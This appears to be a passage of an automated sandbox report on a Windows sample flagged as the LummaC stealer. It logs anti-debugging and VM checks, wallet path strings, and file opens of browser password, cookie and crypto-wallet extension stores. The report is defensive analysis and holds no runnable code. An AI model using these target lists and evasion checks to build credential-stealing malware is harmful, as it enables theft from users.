Source: Amcache.hve.7.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.7.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.7.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.7.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.7.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.7.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.7.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.7.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

API call chain: ExitProcess graph end node

graph_0-72470

Anti Debugging

Contains functionality to hide a thread from the debugger

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Code function: 0_2_004244E4 NtSetInformationThread 000000FE,00000011,00000000,00000000,?,?,?,?,?,0041EC64

0_2_004244E4

Found API chain indicative of debugger detection

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Debugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep

graph_0-72556

Hides threads from debuggers

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Thread information set: HideFromDebugger

Jump to behavior

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Process queried: DebugFlags	Jump to behavior

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Code function: 0_2_00429EF7 rdtsc

0_2_00429EF7

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Code function: 0_2_0044E33B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0044E33B

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Code function: 0_2_0041F9A4 GetCurrentProcessId,NtDuplicateObject,NtClose,GetProcessId,NtQuerySystemInformation,NtQuerySystemInformation,

0_2_0041F9A4

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00422177 mov eax, dword ptr fs:[00000030h]	0_2_00422177
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00443998 mov ecx, dword ptr fs:[00000030h]	0_2_00443998
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0041F9A4 mov eax, dword ptr fs:[00000030h]	0_2_0041F9A4
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_004262A1 mov eax, dword ptr fs:[00000030h]	0_2_004262A1
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0043B362 mov eax, dword ptr fs:[00000030h]	0_2_0043B362
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0044FB15 mov eax, dword ptr fs:[00000030h]	0_2_0044FB15
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_004244E4 mov eax, dword ptr fs:[00000030h]	0_2_004244E4
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_004224A3 mov eax, dword ptr fs:[00000030h]	0_2_004224A3
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_004245EC mov eax, dword ptr fs:[00000030h]	0_2_004245EC
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00421EEB mov eax, dword ptr fs:[00000030h]	0_2_00421EEB
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00422817 mov eax, dword ptr fs:[00000030h]	0_2_00422817
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0041F916 mov eax, dword ptr fs:[00000030h]	0_2_0041F916
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_004269E4 mov eax, dword ptr fs:[00000030h]	0_2_004269E4
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00424995 mov eax, dword ptr fs:[00000030h]	0_2_00424995
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00424995 mov eax, dword ptr fs:[00000030h]	0_2_00424995
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00426A42 mov eax, dword ptr fs:[00000030h]	0_2_00426A42
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0042F265 mov eax, dword ptr fs:[00000030h]	0_2_0042F265
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00424B24 mov eax, dword ptr fs:[00000030h]	0_2_00424B24
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0041EBEB mov eax, dword ptr fs:[00000030h]	0_2_0041EBEB
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00424BED mov eax, dword ptr fs:[00000030h]	0_2_00424BED
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00424C8D mov eax, dword ptr fs:[00000030h]	0_2_00424C8D
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0041E6F0 mov eax, dword ptr fs:[00000030h]	0_2_0041E6F0
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00429EF7 mov eax, dword ptr fs:[00000030h]	0_2_00429EF7
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_008AD433 push dword ptr fs:[00000030h]	0_2_008AD433
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02352A7E mov eax, dword ptr fs:[00000030h]	0_2_02352A7E
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0234FB7D mov eax, dword ptr fs:[00000030h]	0_2_0234FB7D
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02373BFF mov ecx, dword ptr fs:[00000030h]	0_2_02373BFF
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02354BFC mov eax, dword ptr fs:[00000030h]	0_2_02354BFC
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02354BFC mov eax, dword ptr fs:[00000030h]	0_2_02354BFC
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_023523DE mov eax, dword ptr fs:[00000030h]	0_2_023523DE
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02354853 mov eax, dword ptr fs:[00000030h]	0_2_02354853
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0233092B mov eax, dword ptr fs:[00000030h]	0_2_0233092B
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0234E957 mov eax, dword ptr fs:[00000030h]	0_2_0234E957
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02352152 mov eax, dword ptr fs:[00000030h]	0_2_02352152
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0235A15E mov eax, dword ptr fs:[00000030h]	0_2_0235A15E
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02354E54 mov eax, dword ptr fs:[00000030h]	0_2_02354E54
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0234EE52 mov eax, dword ptr fs:[00000030h]	0_2_0234EE52
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02354EF4 mov eax, dword ptr fs:[00000030h]	0_2_02354EF4
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0235270A mov eax, dword ptr fs:[00000030h]	0_2_0235270A
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0235474B mov eax, dword ptr fs:[00000030h]	0_2_0235474B
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0234FC0B mov eax, dword ptr fs:[00000030h]	0_2_0234FC0B
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02356C4B mov eax, dword ptr fs:[00000030h]	0_2_02356C4B
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02356CA9 mov eax, dword ptr fs:[00000030h]	0_2_02356CA9
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0235F4CC mov eax, dword ptr fs:[00000030h]	0_2_0235F4CC
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02356508 mov eax, dword ptr fs:[00000030h]	0_2_02356508
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0237FD7C mov eax, dword ptr fs:[00000030h]	0_2_0237FD7C
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02330D90 mov eax, dword ptr fs:[00000030h]	0_2_02330D90
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02354D8B mov eax, dword ptr fs:[00000030h]	0_2_02354D8B
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0236B5C9 mov eax, dword ptr fs:[00000030h]	0_2_0236B5C9

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Code function: 0_2_0043323B GetProcessHeap,CreateDCW,GetSystemMetrics,GetSystemMetrics,DeleteDC,

0_2_0043323B

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0044E33B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0044E33B
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0043D3A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0043D3A0
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0043CE89 SetUnhandledExceptionFilter,	0_2_0043CE89
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0043CE95 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0043CE95
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0236D0FC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0236D0FC
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0236D607 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0236D607
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0237E5A2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0237E5A2

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Code function: 0_2_0043D0B8 cpuid

0_2_0043D0B8

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Code function: 0_2_0044614F GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

0_2_0044614F

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Code function: 0_2_00402476 GetComputerNameW,GetUserNameW,

0_2_00402476

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Code function: 0_2_00453BC4 GetTimeZoneInformation,

0_2_00453BC4

Source: Amcache.hve.7.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: 0.3.g1kWKm20Z5.exe.23a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.g1kWKm20Z5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.g1kWKm20Z5.exe.23a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.g1kWKm20Z5.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1693318740.00000000023A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3613161605.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: g1kWKm20Z5.exe PID: 1352, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: g1kWKm20Z5.exe	String found in binary or memory: %appdata%\Electrum\wallets
Source: g1kWKm20Z5.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: g1kWKm20Z5.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: g1kWKm20Z5.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: g1kWKm20Z5.exe, 00000000.00000002.3616223948.00000000030C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance
Source: g1kWKm20Z5.exe, 00000000.00000002.3616223948.00000000030C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\EthereumBwlM&
Source: g1kWKm20Z5.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: g1kWKm20Z5.exe, 00000000.00000002.3614564134.0000000002DBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: g1kWKm20Z5.exe, 00000000.00000002.3616223948.00000000030C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\MANIFEST-000001	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbml	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcobl	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddffflal	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjhl	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfel	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
